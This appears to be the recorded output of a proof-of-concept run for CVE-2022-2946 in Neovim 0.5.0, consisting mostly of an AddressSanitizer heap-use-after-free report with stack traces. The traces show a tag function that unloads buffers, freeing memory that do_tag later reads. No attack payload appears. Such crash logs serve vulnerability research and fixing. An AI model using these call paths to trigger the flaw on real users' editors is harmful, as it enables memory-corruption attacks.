1_Tag0unc0('0', '', {})\n\nline 1: bw\n\nfunction 1_Tag0unc0 returning #0\n\ncontinuing in /home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-2946/CVE-2022-2946\n\n=================================================================\n==10523==ERROR: AddressSanitizer: heap-use-after-free on address 0x602000008670 at pc 0x000000470ab9 bp 0x7ffcb7781290 sp 0x7ffcb7780a50\nREAD of size 2 at 0x602000008670 thread T0\n    #0 0x470ab8 in strlen (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.5.0-ASAN+0x470ab8)\n    #1 0xeef364 in vim_vsnprintf_typval /home/zzw/Desktop/neovim/build/../src/nvim/strings.c:938:29\n    #2 0xeed4c1 in vim_vsnprintf /home/zzw/Desktop/neovim/build/../src/nvim/strings.c:741:10\n    #3 0xb465d2 in emsgfv /home/zzw/Desktop/neovim/build/../src/nvim/message.c:787:3\n    #4 0xb464df in emsgf /home/zzw/Desktop/neovim/build/../src/nvim/message.c:751:9\n    #5 0xf37a9f in do_tag /home/zzw/Desktop/neovim/build/../src/nvim/tag.c:521:9\n    #6 0x9269a5 in ex_tag_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8674:3\n    #7 0x9170ba in ex_tag /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8637:3\n    #8 0x8dab85 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1968:5\n    #9 0x8ccf32 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:598:20\n    #10 0x8d0913 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:287:10\n    #11 0x74d7cb in assert_fails /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:5868:3\n    #12 0x7e3a5c in f_assert_fails /home/zzw/Desktop/neovim/build/../src/nvim/eval/funcs.c:446:26\n    #13 0x841e15 in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1583:11\n    #14 0x8401ef in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:466:11\n    #15 0x85a04a in ex_call /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:2968:9\n    #16 0x8dab85 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1968:5\n    #17 0x8ccf32 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:598:20\n    #18 0x8c1a49 in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:3019:5\n    #19 0x8be898 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2633:14\n    #20 0x8bee70 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2614:3\n    #21 0x8dab85 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1968:5\n    #22 0x8ccf32 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:598:20\n    #23 0x8d0913 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:287:10\n    #24 0xa9314e in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1731:5\n    #25 0xa8b550 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:508:5\n    #26 0x7fe567e00082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n    #27 0x45de8d in _start (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.5.0-ASAN+0x45de8d)\n\n0x602000008670 is located 0 bytes inside of 2-byte region [0x602000008670,0x602000008672)\nfreed by thread T0 here:\n    #0 0x4d634d in free (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.5.0-ASAN+0x4d634d)\n    #1 0xb321c4 in xfree /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:121:3\n    #2 0x10b5279 in win_free /home/zzw/Desktop/neovim/build/../src/nvim/window.c:4653:5\n    #3 0x109c5d6 in win_free_mem /home/zzw/Desktop/neovim/build/../src/nvim/window.c:2700:3\n    #4 0x107afad in win_close /home/zzw/Desktop/neovim/build/../src/nvim/window.c:2484:8\n    #5 0x659aaf in do_buffer /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:1282:11\n    #6 0x65df34 in do_bufdel /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:976:11\n    #7 0x9101fd in ex_bunload /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:4879:17\n    #8 0x8dab85 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1968:5\n    #9 0x8ccf32 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:598:20\n    #10 0x844f26 in call_user_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1124:5\n    #11 0x841b06 in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1568:11\n    #12 0x735f8e in call_vim_function /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:1070:9\n    #13 0xf4b068 in find_tagfunc_tags /home/zzw/Desktop/neovim/build/../src/nvim/tag.c:1179:12\n    #14 0xf3ab98 in find_tags /home/zzw/Desktop/neovim/build/../src/nvim/tag.c:1524:14\n    #15 0xf374bc in do_tag /home/zzw/Desktop/neovim/build/../src/nvim/tag.c:482:11\n    #16 0x9269a5 in ex_tag_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8674:3\n    #17 0x9170ba in ex_tag /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8637:3\n    #18 0x8dab85 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1968:5\n    #19 0x8ccf32 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:598:20\n    #20 0x8d0913 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:287:10\n    #21 0x74d7cb in assert_fails /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:5868:3\n    #22 0x7e3a5c in f_assert_fails /home/zzw/Desktop/neovim/build/../src/nvim/eval/funcs.c:446:26\n    #23 0x841e15 in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1583:11\n    #24 0x8401ef in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:466:11\n    #25 0x85a04a in ex_call /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:2968:9\n    #26 0x8dab85 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1968:5\n    #27 0x8ccf32 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:598:20\n    #28 0x8c1a49 in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:3019:5\n    #29 0x8be898 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2633:14\n\npreviously allocated by thread T0 here:\n    #0 0x4d65cd in malloc (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.5.0-ASAN+0x4d65cd)\n    #1 0xb31f12 in try_malloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:73:15\n    #2 0xb320e4 in xmalloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:107:15\n    #3 0xb3252d in xmallocz /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:184:15\n    #4 0xb325a8 in xmemdupz /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:202:17\n    #5 0xb32cfb in xstrdup /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:421:10\n    #6 0xeeab54 in vim_strsave /home/zzw/Desktop/neovim/build/../src/nvim/strings.c:58:20\n    #7 0xf35e5e in do_tag /home/zzw/Desktop/neovim/build/../src/nvim/tag.c:266:41\n    #8 0x9269a5 in ex_tag_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8674:3\n    #9 0x9170ba in ex_tag /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8637:3\n    #10 0x8dab85 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1968:5\n    #11 0x8ccf32 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:598:20\n    #12 0x8d0913 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:287:10\n    #13 0x74d7cb in assert_fails /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:5868:3\n    #14 0x7e3a5c in f_assert_fails /home/zzw/Desktop/neovim/build/../src/nvim/eval/funcs.c:446:26\n    #15 0x841e15 in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1583:11\n    #16 0x8401ef in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:466:11\n    #17 0x85a04a in ex_call /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:2968:9\n    #18 0x8dab85 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1968:5\n    #19 0x8ccf32 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:598:20\n    #20 0x8c1a49 in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:3019:5\n    #21 0x8be898 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2633:14\n    #22 0x8bee70 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2614:3\n    #23 0x8dab85 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1968:5\n    #24 0x8ccf32 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:598:20\n    #25 0x8d0913 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:287:10\n    #26 0xa9314e in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1731:5\n    #27 0xa8b550 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:508:5\n    #28 0x7fe567e00082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n\nSUMMARY: AddressSanitizer: heap-use-after-free (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.5.0-ASAN+0x470ab8) in strlen\nShadow bytes around the buggy address:\n  0x0c047fff9070: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa\n  0x0c047fff9080: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa\n  0x0c047fff9090: fa fa fd fa fa fa fd fa fa fa fd fd fa fa fd fa\n  0x0c047fff90a0: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa\n  0x0c047fff90b0: fa fa fd fa fa fa 00 05 fa fa 04 fa fa fa 00 05\n=>0x0c047fff90c0: fa fa 04 fa fa fa fd fd fa fa 00 04 fa fa[fd]fa\n  0x0c047fff90d0: fa fa 02 fa fa fa fd fd fa fa fd fa fa fa fd fd\n  0x0c047fff90e0: fa fa 00 03 fa fa fd fa fa fa fd fa fa fa fd fa\n  0x0c047fff90f0: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa\n  0x0c047fff9100: fa fa fd fa fa fa fd fa fa fa fd fd fa fa fd fa\n  0x0c047fff9110: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa\nShadow byte legend (one shadow byte represents 8 application bytes):\n  Addressable:           00\n  Partially addressable: 01 02 03 04 05 06 07 \n  Heap left redzone:       fa\n  Freed heap region:       fd\n  Stack left redzone:      f1\n  Stack mid redzone:       f2\n  Stack right redzone:     f3\n  Stack after return:      f5\n  Stack use after scope:   f8\n  Global redzone:          f9\n  Global init order:       f6\n  Poisoned by user:        f7\n  Container overflow:      fc\n  Array cookie:            ac\n  Intra object redzone:    bb\n  ASan internal:           fe\n  Left alloca redzone:     ca\n  Right alloca redzone:    cb\n  Shadow gap:              cc\n==10523==ABORTING", "creation_timestamp": "2026-09-20T02:25:22.655059Z"}